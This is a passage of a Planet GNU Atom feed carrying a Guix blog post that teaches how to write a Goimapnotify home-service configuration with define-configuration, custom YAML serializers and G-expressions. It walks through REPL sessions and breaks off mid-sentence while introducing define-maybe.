<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title>Planet GNU</title>
  <link rel="self" href="https://planet.gnu.org/atom.xml"/>
  <link href="https://planet.gnu.org/"/>
  <id>https://planet.gnu.org/atom.xml</id>
  <updated>2026-09-14T10:25:48+00:00</updated>
  <generator uri="http://intertwingly.net/code/venus/">http://intertwingly.net/code/venus/</generator>


  <entry xml:lang="en">
	<title type="html" xml:lang="en">Demystifying complex configurations</title>
	<link href="https://guix.gnu.org/blog/2026/demystifying-complex-configurations//"/>
	<id>https://guix.gnu.org/blog/2026/demystifying-complex-configurations//</id>
	<updated>2026-09-07T08:30:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Guix system and Guix home introduce the concept of services. These provide users
with a way to control background processes, commonly refereed as
&lt;a href=&quot;https://en.wikipedia.org/wiki/Daemon_(computing)&quot;&gt;daemons&lt;/a&gt;, as well as ways of
controlling the setup of files. For example,
&lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Networking-Services.html#index-openssh_002dservice_002dtype&quot;&gt;&lt;code&gt;openssh-service-type&lt;/code&gt;&lt;/a&gt;
is a service which controls a &lt;a href=&quot;https://en.wikipedia.org/wiki/Secure_Shell&quot;&gt;SSH&lt;/a&gt;
daemon. In contrast,
&lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Service-Reference.html#index-etc_002dservice_002dtype&quot;&gt;&lt;code&gt;etc-service-type&lt;/code&gt;&lt;/a&gt;
is a service that populates the contents of the &lt;code&gt;/etc&lt;/code&gt; directory.&lt;/p&gt;&lt;p&gt;One peculiarity of Guix services is that it&#39;s customary to provide Scheme
bindings for the different fields. By that I mean that the different fields of
the configuration of most services will be a type. The benefit of this is that
users get a uniform configuration language for their services, at the cost of
additional complexity when developing the service. Which is why, for a long
time, Guix users seem to struggle with defining complex configurations. There
are a number of reasons for this, we will try to close the gap today by going
through defining a configuration for
&lt;a href=&quot;https://gitlab.com/shackra/goimapnotify&quot;&gt;Goimapnotify&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;This blog post assumes that the reader is somewhat familiar with Guix and knows
how to setup a development environment for it. If that&#39;s not the case, read &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/The-Perfect-Setup.html&quot;&gt;The
Perfect
Setup&lt;/a&gt;
and &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Using-Guix-Interactively.html&quot;&gt;Using Guix
interactively&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;A Goimapnotify configuration is written in
&lt;a href=&quot;https://en.wikipedia.org/wiki/YAML&quot;&gt;YAML&lt;/a&gt;. Therefore, we will need to serialize
the different Guile Scheme fields to this format. Let&#39;s take the example
configuration that the author gives in the project&#39;s
&lt;a href=&quot;https://gitlab.com/shackra/goimapnotify/-/blob/master/README.md&quot;&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;configurations:
  - host: example.com
    port: 143
    tls: true
    tlsOptions:
        rejectUnauthorized: false
        starttls: true
    idleLogoutTimeout: 15
    username: USERNAME
    alias: ExampleCOM
    password: PASSWORD
    xoAuth2: false
    boxes:
      - mailbox: INBOX
        onNewMail: &#39;mbsync examplecom:INBOX&#39;
        onChangedMail: &#39;mbsync examplenet:INBOX&#39;
        onChangedMailPost: SKIP
        onNewMailPost: SKIP
  - hostCMD: COMMAND_TO_RETRIEVE_HOST
      port: 993
      tls: true
      tlsOptions:
        rejectUnauthorized: true
        starttls: true
      username: &#39;&#39;
      usernameCMD: &#39;&#39;
      password: &#39;&#39;
      passwordCMD: &#39;&#39;
      xoAuth2: false
      onNewMail: &#39;&#39;
      onNewMailPost: &#39;&#39;
      onChangedMail: &#39;&#39;
      onChangedMailPost: &#39;&#39;
      onDeletedMail: &#39;&#39;
      onDeletedMailPost: &#39;&#39;
      boxes:
        - mailbox: INBOX
          onNewMail: &#39;mbsync examplenet:INBOX&#39;
          onNewMailPost: SKIP
          onChangedMail: &#39;mbsync examplenet:INBOX&#39;
        - mailbox: Junk
          onNewMail: &#39;mbsync examplenet:Junk&#39;
          onNewMailPost: SKIP&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Just by looking at the hierarchy we can already envision how to organize our
scheme records. We will need the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;home-goimapnotify-configuration-fields&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;goimapnotify-configuration&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;goimapnotify-box-configuration&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;goimapnotify-tls-options-configuration&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The final configuration that the service for Goimapnotify will rely on, will be
&lt;code&gt;home-goimapnotify-configuration-fields&lt;/code&gt;. It will contain a &lt;code&gt;configurations&lt;/code&gt;
field where each item will be a &lt;code&gt;goimapnotify-configuration&lt;/code&gt;; each box in those
configurations will be a &lt;code&gt;goimapnotify-box-configuration&lt;/code&gt;. Additionally, each of
those configurations will have an optional
&lt;code&gt;goimapnotify-tls-options-configuration&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;(gnu services configuration)&lt;/code&gt; module provides us with the API that we need
to define these configurations. The most important helpers for defining
configurations are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;define-configuration&lt;/code&gt;: For configurations that need to serialize fields into
a different format, generally configuration files.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;define-configuration/no-serialization&lt;/code&gt;: For configurations that do not need
to emit any files. Generally all the fields are consumed by the Shepherd
services that rely on the configuration but no translation from Scheme to a
different format is needed.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In our case, we need to translate the different configuration fields to YAML, so
we will need to use &lt;code&gt;define-configuration&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The following sections are written so you can follow along, you are encouraged
to drop into a REPL (short for &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Using-Guix-Interactively.html&quot;&gt;&lt;em&gt;read-eval-print
loop&lt;/em&gt;&lt;/a&gt;)
and import the required module:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;,use (gnu services configuration)&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;&lt;code&gt;goimapnotify-tls-options-configuration&lt;/code&gt;&lt;/h1&gt;&lt;p&gt;To make it easy for ourselves, we will start form the in-out, after all, you
wouldn&#39;t want to build a house from the rooftop, would you?&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-configuration goimapnotify-tls-options-configuration
  (reject-unauthorized?
   (boolean #f)
   &quot;Whether to reject unauthorized TLS certificates.&quot;)

  (starttls?
   (boolean #f)
   &quot;Whether to use STARTTLS.&quot;)

  (prefix goimapnotify-))&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;p&gt;evaluating the above snippet will throw an unbound variable exception, bear
with me.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Refer to &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Complex-Configurations.html&quot;&gt;the
manual&lt;/a&gt;
for an in-depth explanation of the syntax of &lt;code&gt;define-configuration&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;The first argument is the name of the configuration object,
&lt;code&gt;goimapnotify-tls-options-configuration&lt;/code&gt; in this case. After it, we define the
different typed fields. We are defining boolean fields that are, by default, set
to false. The biggest source of confusion when defining configurations comes
because &lt;code&gt;define-configuration&lt;/code&gt; is a macro that introduces identifiers that do
not appear in the source code—it&#39;s an &lt;a href=&quot;https://doc.guix.gnu.org/guile/latest/en/html_node/Syntax-Rules.html#Hygiene&quot;&gt;&lt;em&gt;unhygienic
macro&lt;/em&gt;&lt;/a&gt;. That
means that the macro will expand to code which defines symbols that are not
visible when reading the source file.&lt;/p&gt;&lt;p&gt;One can inspect the expansion of the macro by using the
&lt;a href=&quot;https://doc.guix.gnu.org/guile/latest/en/html_node/Compile-Commands.html#index-expand&quot;&gt;,expand&lt;/a&gt;
REPL command. It will be quite verbose, so don&#39;t try to read all of it, instead
search through it; you will find some revealing things, such as:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; ,expand (define-configuration goimapnotify-tls-options-configuration
  (reject-unauthorized?
   (boolean #f)
   &quot;Whether to reject unauthorized TLS certificates.&quot;)
  (starttls?
   (boolean #f)
   &quot;Whether to use STARTTLS.&quot;)
  (prefix goimapnotify-))
$20 = (begin ...
        (define goimapnotify-tls-options-configuration? ...)
        (define goimapnotify-tls-options-configuration-reject-unauthorized? ...)
        (define goimapnotify-tls-options-configuration-starttls? ...)
        ...
        (define &amp;lt;goimapnotify-tls-options-configuration&amp;gt; ...)
        ...
        (define goimapnotify-tls-options-configuration ...)
        (define goimapnotify-tls-options-configuration-fields
          ((@@ (gnu services configuration) list)
           (let* ((name (let ((x &#39;reject-unauthorized?)) x)) ...
                  (serializer (let ((x goimapnotify-serialize-boolean)) x)) ...)
             ...)
           (let* ((name (let ((x &#39;starttls?)) x)) ...
                  (serializer (let ((x goimapnotify-serialize-boolean)) x)) ...)
             ...))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the previous snippet, &lt;code&gt;...&lt;/code&gt; represents omitted code. As you can see from the
macro expansion, &lt;code&gt;define-configuration&lt;/code&gt; introduces quite a few identifiers. You
may recognize the shared &lt;code&gt;prefix&lt;/code&gt; in those identifiers, that&#39;s right, it&#39;s the
prefix specified by that last field that we didn&#39;t explain from the
configuration definition, &lt;code&gt;(prefix goimapnotify-)&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;By inspecting the macro expansion, it&#39;s easy to understand what happens under
the hood. When a prefix is specified, we instruct the macro to append that
prefix to all the generated identifiers. This is useful to avoid naming
collisions; for example, when defining the configuration in a module with other
configuration records that serialize to different formats. After all, it&#39;s not
the same to serialize to YAML than to
&lt;a href=&quot;https://en.wikipedia.org/wiki/INI_file&quot;&gt;INI&lt;/a&gt;, or any other format a tool may
require.&lt;/p&gt;&lt;p&gt;Remember that unbound variable problem I mentioned before? If you paid close
attention to the macro expansion, you may have noticed those references to
&lt;code&gt;goimapnotify-serialize-boolean&lt;/code&gt;, those are our unbound variables. The macro
expects us to define these serialization procedures, let&#39;s do that.&lt;/p&gt;&lt;h2&gt;Defining the missing serializers&lt;/h2&gt;&lt;p&gt;Since the configuration machinery knows nothing about the output format, we must
define how this translation happens. In our case, we are translating to YAML. By
looking at the example configuration provided by the Goimapnotify developers, we
can see that the field names are written in camel case, and their respective
values are separated from the names through the &lt;code&gt;:&lt;/code&gt; character.&lt;/p&gt;&lt;h3&gt;Helpers&lt;/h3&gt;&lt;p&gt;Let&#39;s start by making a function that takes a symbol and transforms it into a
string that&#39;s a camelized version of that symbol. We will use
&lt;code&gt;object-&amp;gt;camel-case-string&lt;/code&gt; from the &lt;code&gt;(gnu home services utils)&lt;/code&gt; module:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;,use (gnu home services utils)&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (camelize-field-name field-name)
  (let ((str (object-&amp;gt;camel-case-string field-name)))
    (if (string-suffix? &quot;?&quot; str)
        (string-drop-right str 1)
        str)))
;; Usage: (camelize-field-name &#39;reject-unauthorized?) =&amp;gt; &quot;rejectUnauthorized&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In YAML, there is no convention of suffixing booleans with a &lt;code&gt;?&lt;/code&gt;, so our
camelizer drops it when found.&lt;/p&gt;&lt;p&gt;&lt;code&gt;camelize-field-name&lt;/code&gt; gives us a field name, but we want to serialize the value
too. Let&#39;s define a field serialization procedure to help us:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (goimapnotify-serialize-field field-name val)
  &quot;The mapping is used to serialize certain FIELD-NAMES specially.&quot;
  (let* ((field-name-mapping &#39;((host-command . hostCmd)
                               (user-name . username)
                               (user-name-command . usernameCmd)
                               (password-command . passwordCmd)))
         (field-name* (or (assq-ref field-name-mapping field-name)
                          field-name)))
    (format #f &quot;~a: ~s~%&quot;
              (camelize-field-name field-name*)
              val)))
;; Usage: (goimapnotify-serialize-field &#39;reject-unauthorized? &#39;true) =&amp;gt; &quot;rejectUnauthorized: true\n&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Notice how we introduced &lt;code&gt;field-name-mapping&lt;/code&gt; to tailor the field name passed to
&lt;code&gt;camelize-field-name&lt;/code&gt; to emit the specific naming that Goimapnotify expects. In
Guix, we have a specific naming convention, so we want fields like &lt;code&gt;user-name&lt;/code&gt;
to map to &lt;code&gt;username&lt;/code&gt; (instead of &lt;code&gt;userName&lt;/code&gt;) and fields like &lt;code&gt;password-command&lt;/code&gt;
to map to &lt;code&gt;passwordCmd&lt;/code&gt; (instead of &lt;code&gt;passwordCommand&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;That&#39;s enough to serialize most values to YAML, but there&#39;s an extra
Guix-specific feature we should make use of to make the service more convenient
to users:
&lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/G_002dExpressions.html&quot;&gt;G-Expressions&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Are you familiar with them? If not, I encourage you to read this wonderful
trilogy of blog posts: &lt;a href=&quot;https://guix.gnu.org/en/blog/tags/dissecting-guix&quot;&gt;Dissecting
Guix&lt;/a&gt;. It took me some time
to wrap my head around these concepts, but once you do, I think you will like
them too. In any case, that serializer is using those expressions because we
want users of our configuration to be able to intermingle packages and other
file-like objects in their fields.  Since this is a blog post about writing
configurations, I won&#39;t dive deep into G-Expressions, but let&#39;s try to get you a
sense for them.&lt;/p&gt;&lt;p&gt;You will need to import &lt;code&gt;(guix gexp)&lt;/code&gt; for the following snippet to work.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (goimapnotify-serialize-field field-name val)
  &quot;The mapping is used to serialize certain FIELD-NAMES specially.&quot;
  (let* ((field-name-mapping &#39;((host-command . hostCmd)
                               (user-name . username)
                               (user-name-command . usernameCmd)
                               (password-command . passwordCmd)))
         (field-name* (or (assq-ref field-name-mapping field-name)
                          field-name)))
    #~(format #f &quot;~a: ~s~%&quot;
              #$(camelize-field-name field-name*)
              #$val)))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s not so bad, is it? What was that? 6 more characters? Surely you wouldn&#39;t
be scared of that, but just in case, let me give you some extra reassurance on
what&#39;s happening here. This G-Expression thing, also known as gexp, is just the
way you let Guix know that this code is for later. &quot;When is later?&quot;, you may
wonder. Simplifying it, that &quot;later&quot; is when Guix knows where file-like objects
will be located in your disk; that long path on the store you may have seen
before.&lt;/p&gt;&lt;p&gt;For example, a package is a file-like object, so when you build the package Guix
will tell you where it was stored:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ guix build cowsay
/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Preceding an expression with &lt;code&gt;#~&lt;/code&gt; (or &lt;code&gt;gexp&lt;/code&gt;), one effectively tells Guix &quot;don&#39;t
evaluate this code until you know what this expression should expand to&quot;. And
that other syntax, &lt;code&gt;#$&lt;/code&gt; (or &lt;code&gt;ungexp&lt;/code&gt;), is telling Guix to replace the file-like
object for its lowered representation, usually a path in the store. For a
package like &lt;code&gt;cowsay&lt;/code&gt;, that would be that
&lt;code&gt;/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4&lt;/code&gt; paths we saw before.&lt;/p&gt;&lt;p&gt;With that said, if you are like me, you won&#39;t be comfortable if you cannot debug
this expressions, so let me give you some supper powers.&lt;/p&gt;&lt;p&gt;In your REPL, import the &lt;code&gt;(guix)&lt;/code&gt; module. This will augment the REPL with some
additional commands that will simplify our life:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(guile-user)&amp;gt; ,use (guix)
scheme@(guile-user)&amp;gt; ,help guix
Guix Commands [abbrev]:

 ,run-in-store EXP                 - Run EXP through the store monad.
 ,verbosity LEVEL                  - Change build verbosity to LEVEL.
 ,lower OBJECT                     - Lower OBJECT into a derivation or store file and return it.
 ,build OBJECT [BUILD-MODE]        - Lower OBJECT and build it, returning its output file name(s).
 ,build-options OPTIONS            - Set build options to OPTIONS.  Print previous value (to allow easy restore).
 ,build-graft GRAFT?               - Set whether grafts should be performed.
 ,enter-store-monad                - Enter a REPL for values in the store monad.
 ,phases                           - Return the build phases of the package defined by FORM.
 ,configure-flags                  - Return the configure flags of the package defined by FORM.
 ,make-flags                       - Return the make flags of the package defined by FORM.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&#39;s see what that gexp is up to:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (goimapnotify-serialize-field &#39;reject-unauthorized? &#39;&#39;true)
$6 = #&amp;lt;gexp (format #f &quot;~a: ~s\n&quot; #&amp;lt;gexp-input &quot;rejectUnauthorized&quot;:out&amp;gt; #&amp;lt;gexp-input (quote true):out&amp;gt;) gnu/home/services/mail.scm:252:2 7f4c7d9deb40&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There is a little helper to approximate a gexp to it&#39;s output:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (gexp-&amp;gt;approximate-sexp $6)
$7 = (format #f &quot;~a: ~s\n&quot; &quot;rejectUnauthorized&quot; (quote true))
scheme@(gnu home services mail)&amp;gt; (primitive-eval $7)
$8 = &quot;rejectUnauthorized: true\n&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That gets us an idea of what will be emitted to disk, but for more complex
procedures, this is not going to cut it, specially if there are multiple gexps
combined. So let&#39;s build that gexp:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;;; &#39;gexp-&amp;gt;file&#39; comes from the &#39;(guix gexp)&#39; module. You can ask the REPL more
;; information about a symbol through &#39;,a SYMBOL&#39;.
scheme@(gnu home services mail)&amp;gt; ,a gexp-&amp;gt;file
(guix gexp): gexp-&amp;gt;file #&amp;lt;procedure gexp-&amp;gt;file (name exp #:key guile set-load-path? module-path splice? system target)&amp;gt;

scheme@(gnu home services mail)&amp;gt; (gexp-&amp;gt;file &quot;test.scm&quot; $6)
$8 = #&amp;lt;procedure 7f3f7d456ea0 at guix/gexp.scm:2098:2 (state)&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order for Guix to build a value, it needs to be something Guix can lower—an
object that can be &quot;compiled&quot; down to a file in the store (these are referred to
as file-like objects, because they can be inserted in any piece of code that
expects a file name). A gexp cannot be built by itself, because there is nowhere
to output it to. The above snippet creates a file-like object that will be
emitted to a file named &lt;code&gt;test.scm&lt;/code&gt; in the store. That file will contain our
expression. As you see, we&#39;ve got a procedure. The REPL printer tells us that
this procedure needs some &lt;code&gt;state&lt;/code&gt;; this is just a way of indicating you that
this is a monadic procedure that can only be run in the context of a store
connection. Read &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/The-Store-Monad.html&quot;&gt;The Store
Monad&lt;/a&gt; for
more information.&lt;/p&gt;&lt;p&gt;I will build it manually just once for demonstration purposes, don&#39;t blink:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; ,use (guix store)
scheme@(gnu home services mail)&amp;gt; (run-with-store (open-connection)
                                   $8)
$9 = #&amp;lt;derivation /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv =&amp;gt; /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm 7f3f7e2de000&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Where we are saying &quot;run the procedure we got in the context of a store
connection&quot;, we opened that connection through &lt;code&gt;open-connection&lt;/code&gt;. Let&#39;s not do
that again... Fortunately we have those useful REPL commands I just told you
about, so we can archive the same result by doing this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; ,run-in-store $8
$10 = #&amp;lt;derivation /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv =&amp;gt; /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm 7fcd92f7f0f0&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s better, isn&#39;t it?&lt;/p&gt;&lt;p&gt;Now, this is a
&lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Derivations.html&quot;&gt;derivation&lt;/a&gt;.
That&#39;s something Guix can build:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; ,build $10
building /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv...
$11 = &quot;/gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What&#39;s that? You don&#39;t want this magic command? Okay, the same thing can be done
with:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (run-with-store (open-connection)
                                   (built-derivations (list $10)))
$12 = #t
scheme@(gnu home services mail)&amp;gt; (derivation-&amp;gt;output-path $10)
$13 = &quot;/gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At last, a file! What&#39;s in there?&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ cat /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm
(format #f &quot;~a: ~a\n&quot; &quot;rejectUnauthorized&quot; &quot;true&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Okay that seems about right. We can even run it:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (call-with-input-file $13
                                   (lambda (port)
                                     (primitive-eval (read port))))
$14 = &quot;rejectUnauthorized: true\n&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You&#39;ve seen the secret sauce, let&#39;s continue with what brought us here.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (goimapnotify-serialize-boolean field-name val)
  (goimapnotify-serialize-field field-name (if val &#39;&#39;true &#39;&#39;false)))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this our configuration won&#39;t complain about the missing serializer.  Let&#39;s
continue.&lt;/p&gt;&lt;p&gt;One last thing, notice how, after moving to the gexp version of
&lt;code&gt;goimapnotify-serialize-field&lt;/code&gt;, we started double quoting the symbols &lt;code&gt;true&lt;/code&gt; and
&lt;code&gt;false&lt;/code&gt;, this is because the &lt;code&gt;#$&lt;/code&gt; syntax will replace the value in place, and
the value of &lt;code&gt;&#39;true&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, without the quote. If we didn&#39;t double quote,
the staged code after expansion would look like this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(format #f &quot;~a: ~s\n&quot; &quot;rejectUnauthorized&quot; true)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When what we really want is to expand to this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(format #f &quot;~a: ~s\n&quot; &quot;rejectUnauthorized&quot; &#39;true)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The reason for this is that we want users to be able to write staged code on the
different fields. If one of the values of a field where to be something like
this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(goimapnotify-serialize-field &#39;favorite-game #~(string-append #$cowsay &quot;/bin/cowsay&quot;))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The expansion would be this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(format #f &quot;~a: ~s\n&quot; &quot;favoriteGame&quot; (string-append &quot;/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4&quot; &quot;/bin/cowsay&quot;))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;string-append&lt;/code&gt; procedure is evaluated right before the &lt;code&gt;format&lt;/code&gt; call, not
when the gexp is getting lowered.&lt;/p&gt;&lt;h2&gt;Serializing&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;(gnu services configuration)&lt;/code&gt; module we imported earlier provides us with
&lt;code&gt;serialize-configuration&lt;/code&gt;, it takes two arguments, a configuration object and the
fields that compose that configuration.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;define-configuration&lt;/code&gt; macro defined the
&lt;code&gt;goimapnotify-tls-options-configuration&lt;/code&gt; constructor for us, we can create a
configuration with the default values like this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (goimapnotify-tls-options-configuration)
$10 = #&amp;lt;&amp;lt;goimapnotify-tls-options-configuration&amp;gt; reject-unauthorized?: #f starttls?: #f %location: #f&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then, we can serialize it like this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (serialize-configuration $10 goimapnotify-tls-options-configuration-fields)
$11 = #&amp;lt;gexp  gnu/services/configuration.scm:165:2 7ff1fd2cbf60&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you recall form the macro expansion we saw earlier,
&lt;code&gt;goimapnotify-tls-options-configuration-fields&lt;/code&gt;, was one of those identifiers
that got generated.&lt;/p&gt;&lt;p&gt;You should already know how to build that gexp we&#39;ve got:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (gexp-&amp;gt;file &quot;test.yaml&quot; $11)
$12 = #&amp;lt;procedure 7efd8b10c2d0 at guix/gexp.scm:2098:2 (state)&amp;gt;
scheme@(gnu home services mail)&amp;gt; ,use (guix)
scheme@(gnu home services mail)&amp;gt; ,run-in-store $12
$13 = #&amp;lt;derivation /gnu/store/z59sf3nhh80668z8njljfxcymgi071pr-test.yaml.drv =&amp;gt; /gnu/store/xam1210yl1vdxix0bgpfalf6drpv6xbx-test.yaml 7efd8a80fd70&amp;gt;
scheme@(gnu home services mail)&amp;gt; ,build $13
$14 = &quot;/gnu/store/xam1210yl1vdxix0bgpfalf6drpv6xbx-test.yaml&quot;
scheme@(gnu home services mail)&amp;gt; (call-with-input-file $14
                                   (lambda (port)
                                     (display (primitive-eval (read port)))))
rejectUnauthorized: false
starttls: false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s some nice YAML syntax... We better speed up the pace or I will retire
before finishing up this blog post.&lt;/p&gt;&lt;h1&gt;&lt;code&gt;goimapnotify-box-configuration&lt;/code&gt;&lt;/h1&gt;&lt;p&gt;Next in line is &lt;code&gt;goimapnotify-box-configuration&lt;/code&gt;, you know the drill. We start
by declaring the configuration with &lt;code&gt;define-configuration&lt;/code&gt;, specifying each
field name, type and docstring:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-configuration goimapnotify-box-configuration
  (mailbox
   string
   &quot;The mailbox to monitor.&quot;)

  (on-new-mail
   maybe-string-or-gexp
   &quot;The command to execute when new mail arrives.&quot;)

  (on-new-mail-post
   maybe-string-or-gexp
   &quot;The command to execute after the new-mail command.&quot;)

  (on-changed-mail
   maybe-string-or-gexp
   &quot;The command to execute when mail is changed.&quot;)

  (on-changed-mail-post
   maybe-string-or-gexp
   &quot;The command to execute after the changed-mail command.&quot;)

  (on-deleted-mail
   maybe-string-or-gexp
   &quot;The command to execute when mail is deleted.&quot;)

  (on-deleted-mail-post
   maybe-string-or-gexp
   &quot;The command to execute after the deleted-mail command.&quot;)

  (prefix goimapnotify-))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You may have noticed that we have two new types. &lt;code&gt;strings&lt;/code&gt;, easy enough, and
&lt;code&gt;maybe-string-or-gexp&lt;/code&gt;, not so easy; right?  Worry not, here comes the
explanation.&lt;/p&gt;&lt;p&gt;Let&#39;s start by defining the string type:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-maybe string (prefix msmtp-configuration-))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You may be very confused right now. What has &lt;code&gt;msmtp-configuration&lt;/code&gt; to do with
our &lt;code&gt;goimapnotify-configuration&lt;/code&gt; example? Well, I want this blog post to get you
ready for the real world, and in the wild, you will make configurations in
modules that contain other configurations. The example we are looking up today
is a narration of my adventures making the Goimapnotify service from the &lt;code&gt;(gnu services mail)&lt;/code&gt; module, in that module, there is already a configuration for
